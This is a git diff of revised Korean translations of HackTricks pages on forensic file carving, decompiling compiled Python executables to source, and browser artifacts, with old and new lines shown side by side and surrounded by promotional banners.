@ -51,73 +52,76 @@ foremost -v -i file.img -o output
``` ```
### **Scalpel** ### **Scalpel**
**Scalpel**은 파일 내에 포함된 파일을 찾아 추출하는 데 사용할 수 있는 또 다른 도구입니다. 이 경우, 추출하려는 파일 유형을 구성 파일(_/etc/scalpel/scalpel.conf_)에서 주석 처리 해제해야 합니다. **Scalpel**은 **파일에 포함된 파일**을 찾고 추출하는 데 사용할 수 있는 또 다른 도구입니다. 이 경우, 추출하려는 파일 유형을 구성 파일(_/etc/scalpel/scalpel.conf_)에서 주석을 제거해야 합니다.
```bash ```bash
sudo apt-get install scalpel sudo apt-get install scalpel
scalpel file.img -o output scalpel file.img -o output
``` ```
### Bulk Extractor ### Bulk Extractor
이 도구는 칼리 안에 포함되어 있지만 여기에서 찾을 수 있습니다: [https://github.com/simsong/bulk\_extractor](https://github.com/simsong/bulk\_extractor) 이 도구는 칼리 안에 포함되어 있지만, 여기에서 찾을 수 있습니다: [https://github.com/simsong/bulk\_extractor](https://github.com/simsong/bulk\_extractor)
이 도구는 이미지를 스캔하고 그 안에 있는 **pcaps를 추출**하며, **네트워크 정보(URL, 도메인, IP, MAC, 이메일)** 및 **더 많은 파일**을 추출할 수 있습니다. 수행해야 할 작업은 다음과 같습니다: 이 도구는 이미지를 스캔하고 그 안에**pcap**을 **추출**하며, **네트워크 정보 (URL, 도메인, IP, MAC, 메일)** 및 더 많은 **파일**을 추출할 수 있습니다. 당신이 해야 할 일은:
``` ```
bulk_extractor memory.img -o out_folder bulk_extractor memory.img -o out_folder
``` ```
모든 정보를 탐색하세요 (비밀번호?), 패킷을 분석하세요 (읽기: [**Pcaps 분석**](../pcap-inspection/)), 이상한 도메인을 검색하세요 (악성코드 또는 존재하지 않는 도메인과 관련된 도메인).
### PhotoRec ### PhotoRec
[PhotoRec](https://www.cgsecurity.org/wiki/TestDisk_Download)를 찾을 수 있습니다. [https://www.cgsecurity.org/wiki/TestDisk\_Download](https://www.cgsecurity.org/wiki/TestDisk\_Download)에서 찾을 수 있습니다.
GUI 및 CLI 버전이 함께 제공됩니다. PhotoRec가 검색할 **파일 유형**을 선택할 수 있습니다. GUI 및 CLI 버전이 제공됩니다. PhotoRec이 검색할 **파일 유형**을 선택할 수 있습니다.
![](<../../../.gitbook/assets/image (524).png>) ![](<../../../.gitbook/assets/image (524).png>)
### binvis ### binvis
[코드](https://code.google.com/archive/p/binvis/) [웹 페이지 도구](https://binvis.io/#/)를 확인하세요. [코드](https://code.google.com/archive/p/binvis/) [웹 페이지 도구](https://binvis.io/#/)를 확인하세요.
#### BinVis의 기능 #### BinVis의 기능
- 시각적이고 활성 **구조 뷰어** * 시각적이고 능동적인 **구조 뷰어**
- 서로 다른 초점 지점에 대한 여러 플롯 * 다양한 초점에 대한 여러 플롯
- 샘플 일부에 초점을 맞춤 * 샘플의 일부에 집중
- PE 또는 ELF 실행 파일에서 **문자열 및 리소스** 확인 * PE 또는 ELF 실행 파일에서 **문자열 및 리소스 보기**
- 파일의 암호 해독을 위한 **패턴** 획득 * 파일에 대한 암호 분석 패턴 얻기
- 패커 또는 인코더 알고리즘 **발견** * 패커 또는 인코더 알고리즘 **발견**
- 패턴에 의한 스테가노그래피 **식별** * 패턴으로 스테가노그래피 **식별**
- **시각적** 이진 차이 * **시각적** 바이너리 차이 비교
BinVis는 블랙박싱 시나리오에서 **알 수 없는 대상에 익숙해지는 데 좋은 시작점**입니다. BinVis는 블랙박스 시나리오에서 **알 수 없는 대상에 익숙해지기 위한 훌륭한 출발점**입니다.
## 특정 데이터 카빙 도구 ## 특정 데이터 카빙 도구
### FindAES ### FindAES
AES 키를 찾기 위해 키 스케줄을 검색하여 AES 키를 찾습니다. TrueCrypt 및 BitLocker에서 사용되는 것과 같이 128, 192 및 256 비트 키를 찾을 수 있습니다. 키 스케줄을 검색하여 AES 키를 검색합니다. TrueCrypt 및 BitLocker에서 사용하는 128, 192 및 256 비트 키를 찾을 수 있습니다.
[여기에서 다운로드](https://sourceforge.net/projects/findaes/). [여기에서 다운로드](https://sourceforge.net/projects/findaes/).
## 보조 도구 ## 보조 도구
터미널에서 이미지를 보려면 [**viu**](https://github.com/atanunq/viu)를 사용 수 있습니다.\ [**viu**](https://github.com/atanunq/viu)를 사용하여 터미널에서 이미지를 볼 수 있습니다.\
pdf를 텍스트로 변환하고 읽기 위해 리눅스 명령 줄 도구 **pdftotext**를 사용할 수 있습니다. 리눅스 명령줄 도구 **pdftotext**를 사용하여 PDF를 텍스트로 변환하고 읽을 수 있습니다.
**Try Hard Security Group** **Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %} {% embed url="https://discord.gg/tryhardsecurity" %}
{% hint style="success" %}
AWS 해킹 배우고 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP 해킹 배우고 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>**htARTE (HackTricks AWS Red Team Expert)**를 통해 제로부터 AWS 해킹을 배우세요</strong></summary> <summary>HackTricks 지원하기</summary>
HackTricks를 지원하는 다른 방법: * [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하세요!
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
- 귀하의 **회사를 HackTricks에서 광고**하거나 **PDF 형식으로 HackTricks를 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요! * [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.
- [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구입하세요
- 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션인 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요
- 💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
- **HackTricks****HackTricks Cloud** 깃허브 저장소에 PR을 제출하여 귀하의 해킹 트릭을 공유하세요.
</details> </details>
{% endhint %}

View file

@ -1,28 +1,29 @@
# 컴파일된 파이썬 이진 파일 (exe, elf)의 디컴파일 - .pyc에서 검색 # 컴파일된 파이썬 바이너리( exe, elf) 디컴파일 - .pyc에서 가져오기
{% hint style="success" %}
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>에서 **제로부터 영웅이 되는 AWS 해킹 배우기**</summary> <summary>HackTricks 지원하기</summary>
HackTricks를 지원하는 다른 방법: * [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* **회사가 HackTricks에 광고되길 원하거나 PDF로 HackTricks를 다운로드하고 싶다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요! * **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.**
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* **💬 [디스코드 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
* **해킹 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 저장소에 PR을 제출하세요.
</details> </details>
{% endhint %}
<figure><img src="../../../.gitbook/assets/i3.png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/i3.png" alt=""><figcaption></figcaption></figure>
**버그 바운티 팁**: **해커들에 의해 만들어진 프리미엄 버그 바운티 플랫폼**인 **Intigriti에 가입**하세요! 오늘 [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)에서 참여하여 **최대 $100,000**의 바운티를 벌어보세요! **버그 바운티 팁**: **해커를 위해 해커가 만든 프리미엄 버그 바운티 플랫폼인** **Intigriti**에 **가입하세요**! 오늘 [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)에서 저희와 함께하고 최대 **$100,000**의 보상을 받기 시작하세요!
{% embed url="https://go.intigriti.com/hacktricks" %} {% embed url="https://go.intigriti.com/hacktricks" %}
## 컴파일된 이진 파일에서 .pyc로 ## 컴파일된 바이너리에서 .pyc로
**ELF**로 컴파일된 이진 파일에서는 다음을 사용하여 **.pyc를 얻을 수 있습니다**: **ELF** 컴파일된 바이너리에서 **.pyc를 가져올 수 있습니다**:
```bash ```bash
pyi-archive_viewer <binary> pyi-archive_viewer <binary>
# The list of python modules will be given here: # The list of python modules will be given here:
@ -41,38 +42,38 @@ pyi-archive_viewer <binary>
? X binary_name ? X binary_name
to filename? /tmp/binary.pyc to filename? /tmp/binary.pyc
``` ```
**파이썬 exe 이진 파일**에서는 다음을 실행하여 **.pyc 파일을 얻을 수 있습니다:** In a **python exe binary**로 컴파일된 경우, 다음을 실행하여 **.pyc**를 얻을 수 있습니다:
```bash ```bash
python pyinstxtractor.py executable.exe python pyinstxtractor.py executable.exe
``` ```
## .pyc에서 python 코드로 ## From .pyc to python code
**.pyc** 데이터("컴파일된" 파이썬)에서는 **원본** **파이썬** **코드**를 **추출**하기 시작해야합니다: **.pyc** 데이터("컴파일된" 파이썬)에 대해서는 **원본** **파이썬** **코드**를 **추출**하려고 시도해야 합니다:
```bash ```bash
uncompyle6 binary.pyc > decompiled.py uncompyle6 binary.pyc > decompiled.py
``` ```
**확실하게** 이진 파일이 "**.pyc**" **확장자**를 가지고 있는지 확인하십시오 (그렇지 않으면, uncompyle6가 작동하지 않을 것입니다) **확실히** 이 바이너리가 "**.pyc**" **확장자**를 가지고 있는지 확인하세요 (그렇지 않으면, uncompyle6가 작동하지 않습니다)
**uncompyle6**를 실행하는 동안 다음 같은 **오류**를 발견할 수 있습니다: **uncompyle6**를 실행하는 동안 **다음 오류**를 발견할 수 있습니다:
### 오류: 알 수 없는 매직 넘버 227 ### 오류: 알 수 없는 매직 넘버 227
```bash ```bash
/kali/.local/bin/uncompyle6 /tmp/binary.pyc /kali/.local/bin/uncompyle6 /tmp/binary.pyc
Unknown magic number 227 in /tmp/binary.pyc Unknown magic number 227 in /tmp/binary.pyc
``` ```
**이를 해결하려면 생성된 파일의 시작 부분에 올바른 매직 넘버를 추가해야합니다.** 문제를 해결하려면 생성된 파일의 시작 부분에 **올바른 매직 넘버****추가해야** 합니다.
**매직 넘버는 파이썬 버전에 따라 다릅니다.** **파이썬 3.8**의 매직 넘버를 얻으려면 **파이썬 3.8** 터미널을 열고 다음을 실행해야합니다: **매직 넘버는 파이썬 버전에 따라 다릅니다**, **파이썬 3.8**의 매직 넘버를 얻으려면 **파이썬 3.8** 터미널을 열고 다음을 실행해야 합니다:
``` ```
>> import imp >> import imp
>> imp.get_magic().hex() >> imp.get_magic().hex()
'550d0d0a' '550d0d0a'
``` ```
**마법 숫자**는 이 경우 파이썬 3.8의 **`0x550d0d0a`**입니다. 그런 다음, 이 오류를 수정하려면 **.pyc 파일**의 **처음**에 다음 바이트를 **추가**해야 합니다: `0x0d550a0d000000000000000000000000` 이 경우 python3.8의 **magic number**는 **`0x550d0d0a`**입니다. 그러므로 이 오류를 수정하려면 **.pyc 파일**의 **시작 부분**에 다음 바이트를 **추가**해야 합니다: `0x0d550a0d000000000000000000000000`
**마법 헤더**를 추가한 후에는 **오류가 수정**될 것입니다. **한 번** 그 magic header를 **추가**하면, **오류가 수정되어야 합니다.**
다음은 올바르게 추가된 **.pyc python3.8 마법 헤더**의 모습입니다: 올바르게 추가된 **.pyc python3.8 magic header**는 다음과 같이 보일 것입니다:
```bash ```bash
hexdump 'binary.pyc' | head hexdump 'binary.pyc' | head
0000000 0d55 0a0d 0000 0000 0000 0000 0000 0000 0000000 0d55 0a0d 0000 0000 0000 0000 0000 0000
@ -80,23 +81,23 @@ hexdump 'binary.pyc' | head
0000020 0700 0000 4000 0000 7300 0132 0000 0064 0000020 0700 0000 4000 0000 7300 0132 0000 0064
0000030 0164 006c 005a 0064 0164 016c 015a 0064 0000030 0164 006c 005a 0064 0164 016c 015a 0064
``` ```
### 오류: 일반 오류의 디컴파일 ### Error: Decompiling generic errors
`class 'AssertionError'>; co_code should be one of the types (<class 'str'>, <class 'bytes'>, <class 'list'>, <class 'tuple'>); is type <class 'NoneType'>`와 같은 **다른 오류**가 발생할 수 있습니다. **기타 오류**: `class 'AssertionError'>; co_code는 (<class 'str'>, <class 'bytes'>, <class 'list'>, <class 'tuple'>) 중 하나여야 합니다; 타입은 <class 'NoneType'>입니다`가 나타날 수 있습니다.
이는 아마도 **매직 넘버를 올바르게 추가하지 않았거나 올바른 매직 넘버를 사용하지 않았다는 것**을 의미합니다. 따라서 **올바른 것을 사용했는지 확인**하십시오 (또는 새로운 것을 시도하십시오). 이는 아마도 **매직 넘버를 올바르게 추가하지 않았거나** **올바른 매직 넘버를 사용하지 않았기 때문**일 수 있으므로 **올바른 것을 사용하고 있는지 확인하세요** (또는 새로운 것을 시도해 보세요).
이전 오류 문서를 확인하십시오. 이전 오류 문서를 확인하세요.
## 자동 도구 ## Automatic Tool
[**python-exe-unpacker 도구**](https://github.com/countercept/python-exe-unpacker)는 py2exe 및 pyinstaller로 작성된 실행 파일을 언패킹하고 디컴파일하는 데 도움이 되도록 설계된 여러 커뮤니티에서 제공하는 도구의 조합으로 작동합니다. 이는 실행 파일이 Python 기반인지 식별하기 위한 YARA 규칙을 포함하고 생성 도구를 확인합니다. [**python-exe-unpacker tool**](https://github.com/countercept/python-exe-unpacker)는 연구자들이 py2exe 및 pyinstaller로 작성된 Python 실행 파일을 언팩하고 디컴파일하는 데 도움을 주기 위해 설계된 여러 커뮤니티 도구의 조합으로 작동합니다. 이 도구는 실행 파일이 Python 기반인지 식별하고 생성 도구를 확인하기 위한 YARA 규칙을 포함합니다.
### ImportError: 파일 이름: 'unpacked/malware\_3.exe/**pycache**/archive.cpython-35.pyc'이(가) 존재하지 않음 ### ImportError: 파일 이름: 'unpacked/malware\_3.exe/**pycache**/archive.cpython-35.pyc'가 존재하지 않습니다
일반적으로 발생하는 문제는 **unpy2exe 또는 pyinstxtractor를 사용하여 언패킹 프로세스 중에 발생하는 불완전한 Python 바이트 코드 파일**로 인해, 이후 **uncompyle6에서 Python 바이트 코드 버전 번호가 누락되어 인식되지 않는**입니다. 이를 해결하기 위해 필요한 Python 바이트 코드 버전 번호를 추가하는 prepend 옵션이 추가되었으며, 이는 디컴파일 프로세스를 용이하게 합니다. 일반적으로 발생하는 문제는 **unpy2exe 또는 pyinstxtractor로 언팩하는 과정에서 발생한 불완전한 Python 바이트코드 파일**로, 이로 인해 **Python 바이트코드 버전 번호가 누락되어 uncompyle6에서 인식되지 않는 경우**입니다. 이를 해결하기 위해 필요한 Python 바이트코드 버전 번호를 추가하는 prepend 옵션이 추가되어 디컴파일 과정을 용이하게 합니다.
문제의 예: 문제의 예:
```python ```python
# Error when attempting to decompile without the prepend option # Error when attempting to decompile without the prepend option
test@test: uncompyle6 unpacked/malware_3.exe/archive.py test@test: uncompyle6 unpacked/malware_3.exe/archive.py
@ -114,9 +115,9 @@ test@test:python python_exe_unpack.py -p unpacked/malware_3.exe/archive
# Successfully decompiled file # Successfully decompiled file
[+] Successfully decompiled. [+] Successfully decompiled.
``` ```
## Python 어셈블리 분석 ## Analyzing python assembly
이전 단계를 따라서 파이썬 "원본" 코드를 추출할 수 없었다면 어셈블리를 추출해 볼 수 있습니다(하지만 그렇게 구체적이지 않으므로 다시 원본 코드를 추출해 보세요). [여기](https://bits.theorem.co/protecting-a-python-codebase/)에서 _.pyc_ 바이너리를 분해하는 매우 간단한 코드를 찾았습니다(코드 흐름을 이해하는 데 행운을 빕니다). 만약 _.pyc_가 python2에서 생성된 것이라면, python2를 사용하세요: 이전 단계에 따라 python "원본" 코드를 추출할 수 없었다면, **어셈블리**를 **추출**해 보십시오(하지만 **매우 설명적이지 않으므로**, **다시** 원본 코드를 **추출**해 보십시오). [여기](https://bits.theorem.co/protecting-a-python-codebase/)에서 _.pyc_ 바이너리를 **디스어셈블**하는 매우 간단한 코드를 찾았습니다(코드 흐름을 이해하는 데 행운을 빕니다). _.pyc_가 python2에서 온 것이라면 python2를 사용하십시오:
```bash ```bash
>>> import dis >>> import dis
>>> import marshal >>> import marshal
@ -159,15 +160,15 @@ True
14 LOAD_CONST 0 (None) 14 LOAD_CONST 0 (None)
17 RETURN_VALUE 17 RETURN_VALUE
``` ```
## 파이썬을 실행 파일로 변환하기 ## Python to Executable
먼저, 페이로드가 py2exe 및 PyInstaller에서 컴파일될 수 있는 방법을 보여드리겠습니다. 시작하기 위해, 우리는 payload가 py2exe와 PyInstaller에서 어떻게 컴파일될 수 있는지 보여줄 것입니다.
### py2exe를 사용하여 페이로드 생성하기: ### py2exe를 사용하여 payload를 생성하는 방법:
1. [http://www.py2exe.org/](http://www.py2exe.org)에서 py2exe 패키지를 설치합니다. 1. [http://www.py2exe.org/](http://www.py2exe.org)에서 py2exe 패키지를 설치합니다.
2. 페이로드를 생성하기 위해 (이 경우 hello.py로 이름을 지정할 것입니다), Figure 1에 있는 스크립트와 같은 스크립트를 사용합니다. 값이 1인 "bundle\_files" 옵션은 Python 인터프리터를 포함한 모든 것을 하나의 exe로 번들링합니다. 2. payload를 위해 (이 경우 hello.py라고 이름을 붙일 것입니다), 그림 1과 같은 스크립트를 사용합니다. 값이 1인 “bundle\_files” 옵션은 Python 인터프리터를 포함하여 모든 것을 하나의 exe로 묶습니다.
3. 스크립트가 준비되면 "python setup.py py2exe" 명령을 실행합니다. 이렇게 하면 Figure 2와 같이 실행 파일이 생성됩니다. 3. 스크립트가 준비되면 “python setup.py py2exe” 명령을 실행합니다. 이렇게 하면 그림 2와 같이 실행 파일이 생성됩니다.
```python ```python
from distutils.core import setup from distutils.core import setup
import py2exe, sys, os import py2exe, sys, os
@ -195,10 +196,10 @@ running py2exe
copying C:\Python27\lib\site-packages\py2exe\run.exe -> C:\Users\test\Desktop\test\dist\hello.exe copying C:\Python27\lib\site-packages\py2exe\run.exe -> C:\Users\test\Desktop\test\dist\hello.exe
Adding python27.dll as resource to C:\Users\test\Desktop\test\dist\hello.exe Adding python27.dll as resource to C:\Users\test\Desktop\test\dist\hello.exe
``` ```
### PyInstaller를 사용하여 페이로드를 생성하는 방법: ### PyInstaller를 사용하여 페이로드 생성하기:
1. pip를 사용하여 PyInstaller를 설치합니다 (pip install pyinstaller). 1. pip를 사용하여 PyInstaller를 설치합니다 (pip install pyinstaller).
2. 그 후에는 "pyinstaller --onefile hello.py" 명령을 실행합니다 ('hello.py'가 페이로드임을 상기해 주세요). 이 명령은 모든 것을 하나의 실행 파일로 번들링합니다. 2. 그 후, “pyinstaller onefile hello.py” 명령을 실행합니다 (여기서 hello.py는 우리의 페이로드입니다). 이렇게 하면 모든 것이 하나의 실행 파일로 묶입니다.
``` ```
C:\Users\test\Desktop\test>pyinstaller --onefile hello.py C:\Users\test\Desktop\test>pyinstaller --onefile hello.py
108 INFO: PyInstaller: 3.3.1 108 INFO: PyInstaller: 3.3.1
@ -211,26 +212,27 @@ C:\Users\test\Desktop\test>pyinstaller --onefile hello.py
5982 INFO: Appending archive to EXE C:\Users\test\Desktop\test\dist\hello.exe 5982 INFO: Appending archive to EXE C:\Users\test\Desktop\test\dist\hello.exe
6325 INFO: Building EXE from out00-EXE.toc completed successfully. 6325 INFO: Building EXE from out00-EXE.toc completed successfully.
``` ```
## 참고 자료 ## References
* [https://blog.f-secure.com/how-to-decompile-any-python-binary/](https://blog.f-secure.com/how-to-decompile-any-python-binary/) * [https://blog.f-secure.com/how-to-decompile-any-python-binary/](https://blog.f-secure.com/how-to-decompile-any-python-binary/)
<figure><img src="../../../.gitbook/assets/i3.png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/i3.png" alt=""><figcaption></figcaption></figure>
**버그 바운티 팁**: **Intigriti**에 가입하여 해커들이 만든 프리미엄 **버그 바운티 플랫폼**에 참여하세요! [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)에서 오늘 가입하고 최대 **$100,000**의 바운티를 받아보세요! **버그 바운티 팁**: **해커를 위해 해커가 만든 프리미엄 버그 바운티 플랫폼인** **Intigriti**에 **가입하세요**! 오늘 [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)에서 저희와 함께하고 최대 **$100,000**의 보상을 받기 시작하세요!
{% embed url="https://go.intigriti.com/hacktricks" %} {% embed url="https://go.intigriti.com/hacktricks" %}
{% hint style="success" %}
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)로부터 AWS 해킹을 제로부터 전문가까지 배우세요</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>HackTricks 지원하기</summary>
HackTricks를 지원하는 다른 방법: * [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* **회사가 HackTricks에 광고되길 원하거나 PDF로 HackTricks를 다운로드하길 원한다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요! * **HackTricks**와 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* 💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
* **HackTricks****HackTricks Cloud** github 저장소에 PR을 제출하여 해킹 트릭을 공유하세요.
</details> </details>
{% endhint %}

View file

@ -1,77 +1,79 @@
# 브라우저 아티팩트 # 브라우저 아티팩트
{% hint style="success" %}
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 **제로부터 영웅까지 AWS 해킹 배우기**!</summary> <summary>HackTricks 지원하기</summary>
HackTricks를 지원하는 다른 방법: * [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* **회사가 HackTricks에 광고되길 원하거나 PDF로 HackTricks 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요! * **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.**
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
* **HackTricks****HackTricks Cloud** github 저장소에 PR을 제출하여 해킹 트릭을 공유하세요.
</details> </details>
{% endhint %}
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\ \
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)를 사용하여 세계에서 **가장 고급** 커뮤니티 도구를 활용한 **워크플로우를 쉽게 구축**하고 **자동화**하세요.\ [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)를 사용하여 세계에서 **가장 진보된** 커뮤니티 도구로 **워크플로우를 쉽게 구축하고 자동화**하세요.\
오늘 바로 액세스하세요: 오늘 액세스하세요:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## 브라우저 아티팩트 <a href="#id-3def" id="id-3def"></a> ## 브라우저 아티팩트 <a href="#id-3def" id="id-3def"></a>
브라우저 아티팩트에는 네비게이션 히스토리, 북마크 및 캐시 데이터와 같은 웹 브라우저에 의해 저장된 다양한 유형의 데이터가 포함됩니다. 이러한 아티팩트는 운영 체제 내의 특정 폴더에 보관되며, 브라우저마다 위치와 이름이 다르지만 일반적으로 유사한 데이터 유형을 저장합니다. 브라우저 아티팩트는 탐색 기록, 북마크 및 캐시 데이터와 같은 웹 브라우저에 저장된 다양한 유형의 데이터를 포함합니다. 이러한 아티팩트는 운영 체제 내의 특정 폴더에 보관되며, 브라우저마다 위치와 이름이 다르지만 일반적으로 유사한 데이터 유형을 저장합니다.
가장 일반적인 브라우저 아티팩트 요약은 다음과 같습니다: 가장 일반적인 브라우저 아티팩트 요약은 다음과 같습니다:
* **네비게이션 히스토리**: 사용자가 웹 사이트를 방문한 내역을 추적하여 악성 사이트 방문을 식별하는 데 유용합니다. * **탐색 기록**: 사용자가 방문한 웹사이트를 추적하며, 악성 사이트 방문을 식별하는 데 유용합니다.
* **자동완성 데이터**: 빈번한 검색을 기반으로 하는 제안으로, 네비게이션 히스토리와 결합되면 통찰을 제공합니다. * **자동 완성 데이터**: 자주 검색한 내용을 기반으로 한 제안으로, 탐색 기록과 결합할 때 통찰력을 제공합니다.
* **북마크**: 사용자가 빠르게 액세스하기 위해 저장한 사이트. * **북마크**: 사용자가 빠르게 접근하기 위해 저장한 사이트입니다.
* **확장 프로그램 및 애드온**: 사용자가 설치한 브라우저 확장 프로그램 또는 애드온. * **확장 프로그램 및 애드온**: 사용자가 설치한 브라우저 확장 프로그램 또는 애드온입니다.
* **캐시**: 웹 콘텐츠(예: 이미지, JavaScript 파일)를 저장하여 웹 사이트 로딩 시간을 단축하는 데 유용한 포렌식 분석에 가치가 있습니다. * **캐시**: 웹 콘텐츠(예: 이미지, JavaScript 파일)를 저장하여 웹사이트 로딩 시간을 개선하며, 포렌식 분석에 유용합니다.
